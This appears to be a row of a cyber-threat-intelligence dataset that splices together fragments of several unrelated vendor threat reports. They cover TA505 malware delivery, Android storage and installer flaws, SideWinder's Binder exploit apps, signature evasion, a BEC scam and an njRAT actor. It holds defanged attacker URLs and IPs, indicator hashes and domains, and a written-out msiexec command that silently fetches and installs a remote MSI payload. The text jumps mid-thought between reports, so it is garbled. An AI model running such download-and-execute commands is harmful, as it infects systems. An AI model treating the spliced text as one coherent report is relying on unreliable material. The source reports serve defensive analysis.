mrmoor/cyber-threat-intelligence huggingface dataset:
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.
Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.
However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader.
.ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy
Emails with an attached .ISO image is an .LNK file that uses command line msiexec to execute an MSI file from a URL such as hxxp://139[.]180[.]195[.]36/pm2.
Figure 1. Infection chains for ServHelper installation  Figure 2.
A sample of an .ISO file with an embedded .LNK file The pm2 file contains and runs another executable, which is an installer file created using Nullsoft Scriptable Install System (NSIS), a free script-driven installer authoring tool for Windows.
This NSIS-encapsulated file then installs ServHelper .
.LNK shortcut in .ISO file
The macros directly download the file created using NSIS installer from hxxp://45[.]67[.]229[.]36/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.
Encrypted string We observed that some of the samples still had errors in the cipher routine.
In another routine that was supposed to result in a stack overflow, it also displayed an error message.
Vigenère cipher in ServHelper and the Delphi code in stack overflow
The encrypted sample — via XOR encoding/URL encoding — also received a response from the C&C encrypted with XOR.
Figure 7. XOR Encrypted C&C communication
The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.
In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline.  Figure 8. TA505 spoofing an airline company as a malicious file attachment.
In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.
Figure 9. Infection chains for FlawedAmmyy installation  Figure 10.
Screenshot of decompiled script from the .ISO file with a .NET downloader embedded in the e-ticket.
Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware.
Figure 11. .LNK embedded in the .ISO file
Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.
This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp://92[.]38[.]135[.]67/2.dat or hxxp://27[.]102[.]70[.]196/1.dat that automatically decrypts and executes the malware.
Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp://92[.]38[.]135[.]67 or hxxp://27[.]102[.]70[.]196, with filenames k1 or k2.
Infection chains for ServHelper installation with .NET downloader
The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.
The decompiled .NET downloader
In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp://109[.]234[.]37[.]15:80/j1 or hxxp://169[.]239[.]128[.]170/j1.
More typical TA505 campaigns, with old and new targets
Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126.
The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies.
Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp://195[.]123[.]245[.]185/r1 or hxxp://185[.]225[.]17[.]5/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp://185[.]225[.]17[.]5/2.dat or hxxp://195[.]123[.]245[.]185/1.dat.
Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp://195.123.245.185/km or hxxp://185.225.17.5/km, which executes the NSIS installer for ServHelper installation.
One of the more typical techniques employed by TA505. .DLL downloaders that deliver FlawedAmmyy and newly styled macros
While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant.
Infection chain with .DLL FlawedAmmyy downloader
The attached document asks the user to enable the macros, which creates an Internet Explorer object instance.
Text file using Internet Explorer for communication to bypass firewall rules.
The downloaded file is a text file with a single number on each line.
The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106.
The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL.
As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.
The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself.
This could likely be an effort to bypass API hooking for HTTP.
Send HTTP request using socket API
The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\temp\ (it used to be saved as wsus.exe).
Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values.
Original PE header members (left) vs. overwritten header members (right)
The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns.
While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin.
Significant changes in the binary
We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.
Final command strings in document’s “tag” properties.
The final command executes the download and installation of the .MSI file into C:\Windows\System32\msiexec.exe" back=13 error=continue /i http://92[.]38[.]135[.]99/99.msi /q OnLoad="c:\windows\notepad.exe  Figure 24.
.MSI file installed in the system
The other three parameters do not appear to be used at all, as reported in the install log (by adding /L*V "C:\example.log" parameter).
The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.
Unused parameters from
This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.
Suspicious activity using ServHelper A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications.
Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp://www.fedexdocs[.]top/fedex.doc or hxxp://www.fedexdocs[.]icu/fedex.doc.
The VBA macro in the document downloads an NSIS-packed executable from hxxps://senddocs[.]icu/stelar.exe, which installs ServHelper.
However, while initial analysis of the macro it used made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux.
As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.
Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().
Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled “Insecure Internal Storage in Android” at the Hacks in Taiwan Conference (HITCON).  Claud is discussing techniques for accessing private data in Android’s internal storage system using the Android Debug Bridge (ADB) backup/restore functionality.
While there is still debate about how to store passwords in internal storage, if Android internal storage isn’t accessible to anything but the application that owns it, it remains secure.
If an attacker has control over a PC, which the Android device is attached to (for charging or for other purposes), they don’t need to get physical access to the phone.
Or through a rogue “charging station” which users plug their device into without thought.  2.
Next, the device must support ADB backup, which was not introduced until Android 4.0 (Ice Cream Sandwich).
As of July 7, this includes 85.8% of active Android devices.
For these devices, ADB debugging must be enabled for backup to work.
Some device vendors have even left it enabled by default when shipping their phones.
If the device is running Android 4.2.2 or above (approximately 54.3% of active devices) it uses ADB authentication.
Finally, when an ADB backup is initiated, a window pops up on the device screen to ask the user to press “Back up my data.”
Of the 12,351 applications on the Google Play store with > 500,000 installations, only 556 explicitly disable this backup system.
Another 156 implement a BackupAgent that restricts which data is subject to the backup.
The other 94.2% of applications place no restrictions on the backup of their internal storage data.
This includes (as discussed earlier) the default Android Mail and Browser applications, but also other e-mail, SSH and FTP applications, many of which store login and password details without any additional encryption.
Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.
What a difference a year makes in the threat environment.
But when April 2017 came, Rig started a very marked decline.
As shown below, the volume of coinmining increase nearly 2,800% in a year.
We can’t say why this shift is happening.
It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry/ WanaCrypt0r, and Petya/NotPetya.
This post is also available in:      日本語 (Japanese)  As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.
Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.
This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.
In order to understand how this works, let’s first take a look at how Android installs apps.
Android supports the ability to install apps from the Google Play store as well as from the local file system.
Google Play downloads Android packages (APKs) to a protected space of the file system.
Both methods use a system application called PackageInstaller to complete the installation.
Let’s take a closer look at what happens.
Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.
This method has several stages:
Method B: Self modifying the APK  This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.  This vulnerability affects Android device users as well as Android app developers.  For Android device users, the users may end up with installing apps that are not the ones they agree to install.  Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. /sdcard.
According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.
For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.
We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.
Palo Alto Networks has published a vulnerability scanner app in the Google Play store.
From Google:  “Android Open Source Project includes patches for this issue for Android 4.3 and later.
Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info
Understanding the techniques used by attackers helps us counter these threats effectively.
We believe this is a technique the attacker is using to evade detection rules.
Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.
Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.
Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00
As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.
Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.
The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection
Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.
One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).
This is the first known active attack in the wild that uses the use-after-free vulnerability.
We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.
The apps have since been removed from Google Play.
Figure 1. The three apps related to SideWinder group  Figure 2.
Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.
We found that the group employs Apps Conversion Tracking to configure the C&C server address.
The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.
Parsed C&C Server address
All of this is done without user awareness or intervention.
After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.
Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness
, SideWinder does the following:  1. Device Rooting  This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.
The malware retrieves a specific exploit from the C&C server depending on the DEX downloaded by the dropper.
Code snippet from Extra DEX downloaded by Camero
We were able to download five exploits from the C&C server during our investigation.
MediaTek-SU exploit
After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.  Figure 9.
After its launch, the app asks the user to enable accessibility.
Figure 10. Steps FileCrypt Manager prompts user to do
Once granted, the app shows a full screen window that says that it requires further setup steps.
In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.
Overlay screen
Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.
All of this happens behind the overlay screen, unbeknownst to the user.
Code enable accessibility permission of the newly installed app
&amp;amp;amp;amp;amp;nbsp;   callCam’s Activities
The app callCam hides its icon on the device after being launched.
Sensor information Camera information Screenshot Account Wifi information
Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome  The app encrypts all stolen data using RSA and AES encryption algorithms.
When encrypting, it creates a block of data we named headData.
This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.
Then the headData is encoded through the customized routine.
After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.
Data encryption process  Figure 15.
Customized encoding routine done Relation to SideWinder
In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.
Google Play URL of FileManager app found in one of the C&C servers.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.     Indicators of Compromise    SHA256 Package Name/File type App Name/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA
0daefb3d05e4455b590da122255121079e83d48763509b0688e0079ab5d48886
ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF
AndroidOS_MtkSu.A a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42 com.callCam.android.callCam2base callCamm
FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero
C&C Servers  ms-ethics.net
deb-cn.net ap1-acl.net m s-db.net
Figure 1. Diagram showing how the BEC scam is carried out      Background
The email contained two PDF file attachments.
Figure 3. Letter confirming the changes in the company’s bank reference.
Meanwhile, the second PDF file shows the banking account reference number:      Figure 4.
A perceptive employee could potentially identify this as something unusual, which raises red flags.
The PDF file showing the banking account reference.
We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.
Table 1. Domains registered using the email address
This is BEC as we usually know it.
A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:      Figure 6.
The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries     The email contained an attached PDF file that seemed to be a letter from the French Tax service:      Figure 7.
While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.
The use of tax-related scams is something we’ve seen before.
We also helped close the fraudulent domains.
As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.
Raise employee awareness.
Always verify requests.
Indicators of Compromise (IoCs) Domains  dgfip-finances-gouv[.]cloud  bellingstudio@gmail.com      Tags
This highlights how the cybercrime underground in the Middle East/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.
DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.
Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.
The obfuscation used was not particularly sophisticated.
We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).
The new emails used more common phishing tactics, such as alleged requests for payment confirmation.
At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.
The attachments used in this second wave was more sophisticated, but barely so.
The payload was still njRAT.
These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.
Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.
OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.
The attacker almost always sent his mails from a Libyan IP address.
In some cases, compromised SMTP servers belonging to the hotels he had breached were used.
He didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.
We also checked the registrant data of the domains used by the attacker.
This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.
We then confirmed his location (Libya) as well as his probable identity.
Figure 1. Stolen document posted on Facebook (Click to enlarge)
He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.
Figure 2. Stolen credit cards (Click to enlarge)
This threat actor first published stolen documents in April 2016.
His motives remain unclear since the documents themselves did not contain any particularly unusual information.